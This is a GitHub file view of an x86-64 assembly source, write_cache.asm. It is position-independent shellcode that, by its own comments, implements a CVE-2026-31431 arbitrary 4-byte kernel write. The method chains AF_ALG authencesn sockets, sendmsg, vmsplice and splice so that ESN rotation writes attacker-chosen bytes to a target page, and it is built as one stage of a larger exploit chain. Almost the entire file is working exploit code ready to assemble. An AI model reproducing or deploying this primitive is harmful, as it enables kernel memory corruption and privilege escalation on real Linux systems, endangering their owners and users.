-
Notifications
You must be signed in to change notification settings - Fork 8
Expand file tree
/
Copy pathwrite_cache.asm
More file actions
386 lines (344 loc) · 11.3 KB
/
write_cache.asm
File metadata and controls
386 lines (344 loc) · 11.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
;; write_cache.asm -- Zone A: CVE-2026-31431 arbitrary 4-byte write
;;
;; int cve_write4(void *addr, uint32_t val)
;;
;; Position-independent shellcode callable from within Zone C (or
;; zone_c_ld for path B). Performs the AF_ALG/authencesn ESN-rotation
;; primitive end-to-end: socket -> bind -> setsockopt(KEY+AUTHSIZE) ->
;; accept -> sendmsg(MSG_MORE, AAD with target value) -> pipe ->
;; vmsplice(target page) -> splice(into AEAD) -> recv (triggers
;; cipher; the rotation writes the 4 attacker-supplied bytes to the
;; spliced target).
;;
;; Size-optimized build. Key techniques:
;; - push imm8 / pop rax instead of mov eax, imm32 (saves 2/each)
;; - push imm8 / pop reg for small register args (saves 2/each)
;; - kernel preserves rdi/rsi -- skip reloads between syscalls
;; - rep movsb + data template for sockaddr strings
;; - table-driven cmsg control buffer setup
;; - close_pipe subroutine (called from 2 paths)
;; - all reusable areas relocated to offsets <128 (disp8)
;; * IOV_AAD/AAD_DAT -> dead SA area (after bind)
;; * IOV_TARG/PIPEFDS -> dead KEY area (after setsockopt)
;;
;; Build (typically driven by gen_arrays.sh / Makefile):
;; nasm -f bin -o write_cache.bin write_cache.asm
BITS 64
;; Syscall numbers
%define SYS_CLOSE 3
%define SYS_PIPE 22
%define SYS_SOCKET 41
%define SYS_ACCEPT 43
%define SYS_RECVFROM 45
%define SYS_SENDMSG 46
%define SYS_BIND 49
%define SYS_SETSOCKOPT 54
%define SYS_SPLICE 275
%define SYS_VMSPLICE 278
;; AF_ALG constants
%define AF_ALG 38
%define SOCK_SEQPACKET 5
%define SOL_ALG 279
%define ALG_SET_KEY 1
%define ALG_SET_IV 2
%define ALG_SET_OP 3
%define ALG_SET_AEAD_ASSOCLEN 4
%define ALG_SET_AEAD_AUTHSIZE 5
%define MSG_MORE 0x8000
;; -------------------------------------------------------------
;; Stack frame (272 bytes, zeroed on entry)
;;
;; Offset Size Phase What
;; ------ ---- ------- -------------------------------------
;; 0 88 step 1 sockaddr_alg (reused as recv buf step 4)
;; 88 40 step 1 crypto key buffer
;; 128 88 step 2 cmsg control buffer (3 messages)
;; 216 56 step 2 struct msghdr
;;
;; Overlaid in dead areas (all < 128 -> disp8 encoding):
;; 48 8 step 2 AAD payload (in dead SA, after bind)
;; 56 16 step 2 IOV_AAD iovec (in dead SA, after bind)
;; 72 16 step 3 IOV_TARG iovec (in dead SA, after bind)
;; 88 8 step 3 pipe fds (in dead KEY, after setsockopt)
;; ------ ----
;; 272 TOTAL
;; -------------------------------------------------------------
%define SA 0
%define KEY 88
%define CBUF 128
%define MSGH 216
%define AAD_DAT 48 ; reuse dead SA after step 1
%define IOV_AAD 56 ; reuse dead SA after step 1
%define IOV_TARG 72 ; reuse dead SA after step 1
%define PIPEFDS 88 ; reuse dead KEY after step 1
%define FRAMESZ 272
;; Register plan:
;; r14 = target address (saved rdi)
;; r12 = sk -- AF_ALG base socket fd
;; r13 = op -- accepted request socket fd
;; rbx = return value for cleanup path
;; rbp = saved esi (value to write)
cve_write4:
;; -- prologue -----------------------------------------
push rbx
push r12
push r13
push r14
push rbp
sub rsp, FRAMESZ
mov r14, rdi ; save target address
mov ebp, esi ; save value -- delay AAD_DAT write
; until KEY area is dead
;; -- zero stack frame ---------------------------------
mov rdi, rsp
xor eax, eax
mov ecx, FRAMESZ
rep stosb
;; eax=0, ecx=0 after this
;; =====================================================
;; STEP 1 -- Set up AF_ALG authencesn socket
;; =====================================================
;; -- sockaddr_alg: copy family+type+name from template -
;; ecx=0 from rep stosb
lea rsi, [rel .sa_data]
mov rdi, rsp ; SA at offset 0
mov cl, 6 ; AF_ALG + "aead"
rep movsb
;; rsi now -> .algname (contiguous)
lea rdi, [rsp + SA + 24]
mov cl, 34 ; algorithm name + NUL
rep movsb
;; -- crypto key ---------------------------------------
mov rax, 0x1000000000010008
mov [rsp + KEY], rax
;; -- socket(AF_ALG, SOCK_SEQPACKET, 0) ----------------
push SYS_SOCKET
pop rax
push AF_ALG
pop rdi
push SOCK_SEQPACKET
pop rsi
xor edx, edx
syscall
test eax, eax
js .fail
mov r12d, eax ; sk
;; -- bind(sk, &sa, 88) --------------------------------
push SYS_BIND
pop rax
mov edi, r12d
mov rsi, rsp ; SA at offset 0 -> just use rsp
push 88
pop rdx
syscall
test eax, eax
js .err_sk
;; -- setsockopt: ALG_SET_KEY --------------------------
;; rdi = r12d (kernel preserved OK)
push SYS_SETSOCKOPT
pop rax
mov esi, SOL_ALG ; 279 > 127
push ALG_SET_KEY
pop rdx
lea r10, [rsp + KEY]
push 40
pop r8
syscall
test eax, eax
js .err_sk
;; -- setsockopt: ALG_SET_AEAD_AUTHSIZE = 4 -----------
;; rdi = r12d (preserved OK), rsi = SOL_ALG (preserved OK)
push SYS_SETSOCKOPT
pop rax
push ALG_SET_AEAD_AUTHSIZE
pop rdx
xor r10d, r10d ; optval = NULL
push 4
pop r8 ; optlen = authsize
syscall
test eax, eax
js .err_sk
;; -- accept(sk, NULL, NULL) ---------------------------
;; rdi = r12d (preserved OK)
push SYS_ACCEPT
pop rax
xor esi, esi
xor edx, edx
syscall
test eax, eax
js .err_sk
mov r13d, eax ; op
;; === SA + KEY areas now dead ===========================
;; Write AAD value (deferred from prologue)
mov [rsp + AAD_DAT + 4], ebp ; disp8: offset 52
;; =====================================================
;; STEP 2 -- Build and send AAD via sendmsg(MSG_MORE)
;; =====================================================
;; -- struct iovec for AAD (IOV_AAD at 56, disp8) ----
lea rax, [rsp + AAD_DAT]
mov [rsp + IOV_AAD], rax ; iov_base
mov dword [rsp + IOV_AAD + 8], 8 ; iov_len
;; -- cmsg: table-driven setup -------------------------
lea rbx, [rel .cmsg_table]
lea rdi, [rsp + CBUF]
.cm_loop:
movzx ecx, byte [rbx]
cmp cl, 0xFF
je .cm_done
mov eax, [rbx + 1]
mov [rdi + rcx], eax
add rbx, 5
jmp .cm_loop
.cm_done:
;; -- struct msghdr ------------------------------------
lea rax, [rsp + IOV_AAD] ; disp8
mov [rsp + MSGH + 16], rax ; msg_iov
mov dword [rsp + MSGH + 24], 1 ; msg_iovlen
lea rax, [rsp + CBUF]
mov [rsp + MSGH + 32], rax ; msg_control
mov dword [rsp + MSGH + 40], 88 ; msg_controllen
;; -- sendmsg(op, &msg, MSG_MORE) ----------------------
push SYS_SENDMSG
pop rax
mov edi, r13d
lea rsi, [rsp + MSGH]
mov edx, MSG_MORE
syscall
test eax, eax
js .err_op
;; =====================================================
;; STEP 3 -- vmsplice -> pipe -> splice into AEAD
;; =====================================================
;; -- pipe(pfd) -- PIPEFDS at 88 (disp8) ---------------
push SYS_PIPE
pop rax
lea rdi, [rsp + PIPEFDS] ; disp8
syscall
test eax, eax
js .err_op
;; -- iovec for target -- IOV_TARG at 72 (disp8) -------
mov [rsp + IOV_TARG], r14 ; disp8
mov dword [rsp + IOV_TARG + 8], 4 ; disp8
;; -- vmsplice(pfd[1], &iov, 1, 0) --------------------
mov eax, SYS_VMSPLICE ; 278 > 127
mov edi, [rsp + PIPEFDS + 4] ; disp8
lea rsi, [rsp + IOV_TARG] ; disp8
push 1
pop rdx
xor r10d, r10d
syscall
cmp eax, 4
jne .err_pipe
;; -- splice(pfd[0], NULL, op, NULL, 4, 0) -------------
mov eax, SYS_SPLICE ; 275 > 127
mov edi, [rsp + PIPEFDS] ; disp8
xor esi, esi
mov edx, r13d
xor r10d, r10d
push 4
pop r8
xor r9d, r9d
syscall
cmp eax, 4
jne .err_pipe
;; -- close pipe fds -----------------------------------
call .close_pipe
;; =====================================================
;; STEP 4 -- recvfrom triggers ESN rotation -> WRITE
;; =====================================================
push SYS_RECVFROM
pop rax
mov edi, r13d
mov rsi, rsp ; SA at offset 0
push 88
pop rdx
xor r10d, r10d
xor r8d, r8d
xor r9d, r9d
syscall
;; -- success ------------------------------------------
xor ebx, ebx
jmp .cleanup_op
;; =====================================================
;; Error / cleanup paths
;; =====================================================
.err_pipe:
call .close_pipe
.err_op:
push -1
pop rbx
.cleanup_op:
push SYS_CLOSE
pop rax
mov edi, r13d
syscall
jmp .cleanup_sk
.err_sk:
push -1
pop rbx
.cleanup_sk:
push SYS_CLOSE
pop rax
mov edi, r12d
syscall
mov eax, ebx
jmp .done
.fail:
push -1
pop rax
.done:
add rsp, FRAMESZ
pop rbp
pop r14
pop r13
pop r12
pop rbx
ret
;; -- close_pipe subroutine --------------------------------
;; rsp+8 = caller frame (return address pushed by call)
.close_pipe:
push SYS_CLOSE
pop rax
mov edi, [rsp + 8 + PIPEFDS] ; disp8
syscall
push SYS_CLOSE
pop rax
mov edi, [rsp + 8 + PIPEFDS + 4] ; disp8
syscall
ret
;; =========================================================
;; Read-only data (embedded at end, accessed via [rip+...])
;; =========================================================
;; sockaddr_alg: sa_family(2) + salg_type[0..3](4)
.sa_data:
db 0x26, 0x00 ; AF_ALG = 38
db 'a', 'e', 'a', 'd' ; "aead"
;; Algorithm name (contiguous -- rsi flows here after .sa_data copy)
.algname:
db "authencesn(hmac(sha256),cbc(aes))", 0x00 ; 34 bytes
;; cmsg control buffer init table
;; Each entry: offset(1 byte) + value(4 bytes LE). Sentinel = 0xFF.
.cmsg_table:
db 0
dd 20 ; cm[0].cmsg_len
db 8
dd SOL_ALG ; cm[0].cmsg_level
db 12
dd ALG_SET_OP ; cm[0].cmsg_type
db 24
dd 36 ; cm[1].cmsg_len
db 32
dd SOL_ALG ; cm[1].cmsg_level
db 36
dd ALG_SET_IV ; cm[1].cmsg_type
db 40
dd 16 ; cm[1].af_alg_iv.ivlen
db 64
dd 20 ; cm[2].cmsg_len
db 72
dd SOL_ALG ; cm[2].cmsg_level
db 76
dd ALG_SET_AEAD_ASSOCLEN ; cm[2].cmsg_type
db 80
dd 8 ; cm[2].assoclen
db 0xFF ; sentinel